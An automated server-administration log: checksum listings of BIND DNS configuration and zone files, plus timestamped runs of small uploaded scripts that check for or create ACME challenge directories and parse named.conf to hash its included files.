MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-19 06:00:02: Establishing a connection
2025-11-19 06:00:03: Establishing a connection
2025-11-19 06:00:04: 

PUT: /tmp/pkp493619

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-19 06:00:05: 

chmod 755 /tmp/pkp493619; /tmp/pkp493619; rm /tmp/pkp493619

2025-11-19 06:00:05: 


0


2025-11-20 06:00:03: Establishing a connection
2025-11-20 06:00:03: Establishing a connection
2025-11-20 06:00:03: 

PUT: /tmp/pkp159069

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-20 06:00:05: 

chmod 755 /tmp/pkp159069; /tmp/pkp159069; rm /tmp/pkp159069

2025-11-20 06:00:05: 


1


2025-11-20 06:00:06: Establishing a connection
2025-11-20 06:00:06: 

PUT: /tmp/pkp997538

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"


2025-11-20 06:00:06: 

chmod 755 /tmp/pkp997538; /tmp/pkp997538; rm /tmp/pkp997538

2025-11-20 06:00:06: 




2025-11-20 06:00:06: Establishing a connection
2025-11-20 06:00:08: Establishing a connection
2025-11-20 06:00:09: 

PUT: /tmp/pkp401074

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-20 06:00:09: 

chmod 755 /tmp/pkp401074; /tmp/pkp401074; rm /tmp/pkp401074

2025-11-20 06:00:10: 


0


2025-11-20 12:42:58: Establishing a connection
2025-11-20 12:43:08: Establishing a connection
2025-11-20 12:43:08: 

PUT: /tmp/pkp318426

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-20 12:43:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp318426; rm /tmp/pkp318426'

2025-11-20 12:43:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
